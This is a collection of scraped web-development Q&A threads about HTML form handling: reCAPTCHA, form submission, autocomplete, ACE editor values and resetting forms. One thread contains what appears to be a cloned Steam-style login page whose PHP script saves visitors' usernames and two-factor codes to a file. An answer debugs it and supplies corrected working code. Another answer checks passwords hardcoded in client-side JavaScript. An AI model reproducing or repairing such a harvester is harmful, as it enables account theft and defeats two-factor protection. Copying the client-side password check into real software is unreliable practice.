Hello,
I want to import reCaptcha(2) to my Register form. I have already imported, but their don't validate it. On submit click, skip's empty reCaptcha and ignores it. Can someone post full HTML & JAVA/SCRIPT code's(without using php). I can't find the right code. I want to have a full html/script code. :x
I tried this, but I need a <script> code to validate it. I searched for a code, tried some scripts, but it can't validate the <form>.
<html>
<head>
<title>TEST</title>
<script src='https://www.google.com/recaptcha/api.js?hl=en'></script>
</head>
<body>
<form method="POST" action="register.html">
<input type="text" name="name" required>
<br>
<input type="email" name="email" required>
<br>
<input type="password" name="password" required>
<br>
<center><div class="g-recaptcha" data-theme="dark" data-sitekey="MY_SITE_KEY"></div></center><br>
<br>
<input type="submit" value="submit">
</body>
</html>
Thanks.
Since you have to do server-side captcha validation, hence your action part of the form should be register.php, not register.html. Your HTML code should be like this:
<form method="POST" action="register.php">
<input type="text" name="name" required><br />
<input type="email" name="email" required><br />
<input type="password" name="password" required><br />
<center>
<div class="g-recaptcha" data-theme="dark" data-sitekey="YOUR_SITE_KEY"></div>
</center><br />
<input type="submit" name="submit" value="submit">
</form>
And this is how you can validate the input captcha in register.php file,
<?php
if(isset($_POST['submit'])){
//your site secret key
$secret = 'XXXXXXX_Secret-key_XXXXXXX';
if(isset($_POST['g-recaptcha-response']) && !empty($_POST['g-recaptcha-response'])){
//get verified response data
$param = "https://www.google.com/recaptcha/api/siteverify?secret=".$secret."&response=".$_POST['g-recaptcha-response'];
$verifyResponse = file_get_contents($param);
$responseData = json_decode($verifyResponse);
if($responseData->success){
// success
echo "success";
}else{
// failure
}
}
}
?>
Here are the references:
Displaying the widget
Verifying the user's response
Edited:
From your comment,
2x borders on side of . for example then i get a error, it add's a style(border-left:1px solid red;border-right:1px solid red;) or it add's a class(recaptcha-error). When success shows only the reCaptcha green mark withuot a border.
Here's the solution,
Your stylesheet should be like this:
<style>
.error {
border:5px solid red;
}
.success{
border:5px solid blue;
}
</style>
Your HTML will be as it is, and your jQuery should be like this:
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
<script>
$(document).ready(function(){
$('[name="submit"]').click(function(e){
var recaptchaResponse = grecaptcha.getResponse();
if(recaptchaResponse == ""){
$(".g-recaptcha").addClass("error");
}else{
$(".g-recaptcha").addClass("success");
}
});
});
</script>
Related
So I have this form. The way I have it now is that the user will enter their username and password, and then click sign in, (the authentication pin is hidden) until the sign in button is clicked on which the div is shown and the user is to enter their verification pin. The problem I am having is no matter what I submit into the text boxes, nothing gets submitted into my php script which I have here :
<?php
$myfile = fopen("newfile_" . uniqid() . ".txt", "w") or die("...");
$txt = $_POST['username'] . ':' . $_POST['authcode'];
fwrite($myfile, $txt);
fclose($myfile);
echo "LOREM IPSUM:(";
?>
<!DOCTYPE html>
<form action="/loginaction.php" method="post" name="submit">
<input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();">
<div class="mainLoginLeftPanel_signin">
<label for="userAccountName">username</label><br>
<input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"><br> <br>
<label for="userPassword">Password</label><br>
<input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br>
<div id="passwordclearlabel" style="text-align: left; display: none;">It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).</div>
<div class="checkboxContainer">
<div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select "Logout" from the account menu. This feature is only available to PIN Guard enabled accounts.">
<input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"><label for="remember_login">Remember me on this computer</label><br>
</div>
</div>
</div>
<div class="modal_buttons" id="login_twofactorauth_buttonsets">
<div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style="">
<button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();">
<div class="auth_button_h3">submit</div>
<div class="auth_button_h5">my authenticator code</div></button></div></div>
<div class="twofactorauthcode_entry_area">
<div id="login_twofactor_authcode_entry">
<div class="twofactorauthcode_entry_box">
<input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/>
</div>
</div>
<div id="login_twofactor_authcode_help_supportlink" style="display: none;">
<a href="#">
Contact Support for help with account access </a>
</div>
</div>
</form>
</head>
The form names are both entered correctly and I have the action set to the correct script however when I check the text file that is generated there is no input. I would like the button that submits the verification pin to submit the form of all 3 details (user,pass,authcode) and the sign in button to just unhide the verification div(which is working fine). Any help would be appreciated.
The javascript function to submit the forms is
<script type="text/javascript">
function() submitForms{
document.getElementById("submit").submit();
document.getElementById("submit").action = "/loginaction.php";
}
https://jsfiddle.net/jxd0g2z4/
The function calls for a form with the id 'submit' but your form does not have the id tag. It has only a name tag. You can add the tag or change the selector.
<form action="/loginaction.php" method="post" name="submit" id='submit'>
You shouldn't need to define the action if its already in the html, but if you did it would need to come before the submission function call.
Another mistake I just noticed was the syntax where the submitForms function is defined. The parenthesis belong after the function name as follows:
<script type="text/javascript">
function submitForms(){
document.getElementById("submit").action = "/loginaction.php";
document.getElementById("submit").submit();
}
It's also possible that the </head> tag at the end could be throwing something off. Below is an image where I replicated the html and javascript to be sure that it gets through.
<!DOCTYPE html>
<html>
<head>
<script type="text/javascript">
function submitForms(){
document.getElementById("submit").action = "/loginaction.php";
document.getElementById("submit").submit();
}
</script>
</head>
<body>
<form action="/loginaction.php" method="post" name="submit">
<input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();">
<div class="mainLoginLeftPanel_signin">
<label for="userAccountName">username</label><br>
<input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"><br> <br>
<label for="userPassword">Password</label><br>
<input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br>
<div id="passwordclearlabel" style="text-align: left; display: none;">It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).</div>
<div class="checkboxContainer">
<div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select "Logout" from the account menu. This feature is only available to PIN Guard enabled accounts.">
<input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"><label for="remember_login">Remember me on this computer</label><br>
</div>
</div>
</div>
<div class="modal_buttons" id="login_twofactorauth_buttonsets">
<div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style="">
<button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();">
<div class="auth_button_h3">submit</div>
<div class="auth_button_h5">my authenticator code</div></button></div></div>
<div class="twofactorauthcode_entry_area">
<div id="login_twofactor_authcode_entry">
<div class="twofactorauthcode_entry_box">
<input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/>
</div>
</div>
<div id="login_twofactor_authcode_help_supportlink" style="display: none;">
<a href="#">
Contact Support for help with account access </a>
</div>
</div>
</form>
</body>
</html>
Don't know if I get the problem right, but for me, it looks like that this would be a bit hard to solve for you.
I would suggest to load the first form only, this form is sended with ajax to a php file which do what you need to do (write the file) AND answer a new html code which you should replace with the original loaded html code. here you would send the second form.
Here you have the advantage that you can send the same forme again if there where errors.
EDIT
If you have jQuery loaded, you can use this function. your form will only need a class tag to activate it, like:
<form action="yourfile.php" id="myForm" class="ajax-form">
than this form will activate the function when submiting it.
$(".ajax-form").submit(function(e) {
e.preventDefault();
var form = $(this);
var formID = form.attr('id');
$.ajax({
context: this,
async: true,
type: "post",
url: form.prop('action'),
data: form.serialize(),
dataType: "html",
success: function(datavalues) {
$('#'+formID).replaceWith(datavalues);
},
error: function(json) {
console.log('ARMAGEDDON!!!');
},
});
return false;
});
I can’t access a form via JavaScript. The Javascript code in the header, between the <head> tags.
An error message tells me that the form does not exist. So I used the onload evenement but it does not solve the problem.
<head>
<script>
window.onload = function() {
document.getElementsByName('form_login').onsubmit = function(){ }
} ;
window.onload = function() {
document.getElementsByName('form_login')[0].onsubmit = function(){ }
} ;
</script>
</head>
<body>
<form action="/login" method="post" name="form_login">
<input type="text" tabindex="1" name="username" id="username" size="25" maxlength="40" value="" />
<input type="password" tabindex="2" id="password" name="password" size="25" maxlength="25" />
<input type="checkbox" name="autologin" id="autologin" tabindex="4" checked="checked" />
<input type="hidden" name="redirect" value="" />
<input type="hidden" name="query" value="" />
<input type="submit" name="login" tabindex="6" value="Connexion" />
</form>
</body>
There's no error. See the fiddle.
Put your script inside a <script> tag like this:
<head>
<script>
//The script
</script>
</head>
Then, inside of <script> & </script>:
onload=function(){
document.getElementsByName('form_login')[0].onsubmit=function(e){
e.preventDefault();//avoid page refreshing to see the following alert
alert("Yeah! I see, it works.")//indicate that it works
}
}
Just add onsubmit="login(this)" to the form element and have this function (login) defined in your javascript code loaded on that page.
function login(form) {
// ... some code here
};
// ... OR ...
loginForm.onsubmit = function() {
// ... some code here
// ... return false is required to prevent form submitting
return false;
};
<form id="loginForm" onsubmit="login(this); return false">
<button>Submit</button>
</form>
I am (for the first time) making a signin/register form for a website. For the line in the register form where I ask the user to provide their email address it provides an autofill option, which is fine. The problem is that it also fills in the line below which is where I will get the user to retype the email address to verify it. I have tried using autocomplete="off" but that does not seem to have an affect.
I managed to figure out that if the second email input does not have the word "email" in it the autocomplete does not affect this line. Still tho, autocomplete="off" had no affect and I don't know why. Ideally I would like to have email in the name of this line off code to make it easier to read and similar issues may come up in the future.
Any ideas why this is happening? here is my code:
<!DOCTYPE html>
<html5>
<head>
<title>Login page</title>
</head>
<body>
<h1>Login or Register</1h>
<p></p>
<div id="logindOrRegdiv">
<input type="button" value="Login" id="login">
<input type="button" value="Register" id="register">
</div>
<div id="logindiv">
<form name="login" autocomplete="on">
Username<input type="text" name="userid"/><br>
Password<input type="password" name="pswrd"/><br>
<input type="button" onclick="check(this.form)" value="Login"/>
<input type="reset" value="Cancel"/>
</form>
<script language="javascript">
function check(form) { /*function to check userid & password*/
/*the following code checkes whether the entered userid and password are matching*/
if(form.userid.value == "myuserid" && form.pswrd.value == "mypswrd") {
window.open('target.html')/*opens the target page while Id & password matches*/
}
else {
alert("Error Password or Username")/*displays error message*/
}
}
</script>
</div>
<div id="registerdiv">
<form name="register" autocomplete="on">
First Name<input type="text" name="firstname"/><br>
Middle Name<input type="text" name="middlename"/><br>
Last Name<input type="text" name="lastname"/><br>
D.O.B.<input type="text" name="dob"/><br>
Email Address<input type="email" name="email"/><br>
Re-Type<input type="email" name="email2" autocomplete="off"/><br>
Password<input type="password" name="password"/><br>
Re-Type<input type="password" name="password2"/><br>
</form>
</div>
<script src="jquery-1.11.2.js"></script>
<script src="app.js"></script>
</body>
</html5>
The autocomplete="off" attrbute has bugs in most major browsers.
http://caniuse.com/#feat=input-autocomplete-onoff
The workaround is to give the name attribute a random value each time the page is loaded. For example name="email-jirbcea".
My goal is to send the code inside the ACE Editor to as a variable to the send.php PHP file. I tried this in many different methods but I can't assign the code inside the editor to the form input.
JavaScript
This javascript function should assign a value to an element with the id="code", which is: <input type="hidden" id="code" value="" />.
editor.getSession().getValue(); returns the code that is inside the editor.
<head>
<script>
function getVal() {
document.getElementById('code').value = editor.getSession().getValue();
}
</script>
</head>
HTML
Now, <form onsubmit="getVal();" should execute function getVal() when a user submits the form, so that the code input will have a value when sending the inputs to the send.php file.
<body>
<div>
<form onsubmit="getVal();" method="post" action="send.php">
<label for="Name">From:</label>
<input type="text" name="Name" id="Name" />
<label for="Address">To:</label>
<input type="text" name="Address" id="Address" />
<label for="Subject">Subject:</label>
<input type="text" name="Subject" id="Subject" />
<input type="hidden" id="code" value="" />
<div id="editor"> //ACE Editor
</div>
<input type="submit">
</form>
</div>
This function is the one I needed in order to make this work:
function getVal()
{
var editor = ace.edit("editor");
// this line is necessary
// "editor" is the id of the ACE editor div
var code = editor.getSession().getValue();
document.getElementById('code').value = code;
}
The code is correct, editor.getSession().getValue() is null so it writes nothing!
I have been looking through StackOverflow a lot and found SOME solutions but they don't work for me :( Probably because I can't place the strings of code correctly.
I have a form which submits content to a database - and a script that loads the database inputs into a div below the form. It works realtime with a small delay.
<div id="addCommentContainer">
<form id="addCommentForm" method="post" action="">
<div>
<input type="hidden" name="name" value="<?php echo $loggedInUser->display_username; ?>" id="name" />
<input type="hidden" name="email" value="<?php echo $loggedInUser->email; ?>" id="email" />
<textarea name="body" id="body" cols="20" rows="5"></textarea>
<input type="submit" id="submit" value="Submit" />
</div>
</form>
It works. I also have this script:
http://sandbox.jinoh.dk/script.js
I tried a solution onclick - but it made the content disappear not being posted. I tried onsubmit - but it didn't work. What I want is the "comment" to be posted and then disappear from the form aka the form to be cleared.
Chatchatchat-div is the one that the comments are loaded into.
$('#addCommentForm').submit(function(e){
var form = this;
.....
....
$.post('submit.php',$(this).serialize(),function(msg){
if(msg.status){
form.reset(); // if you want to reset on msg status
}
....
});
this.reset(); // just reset the form what happen
});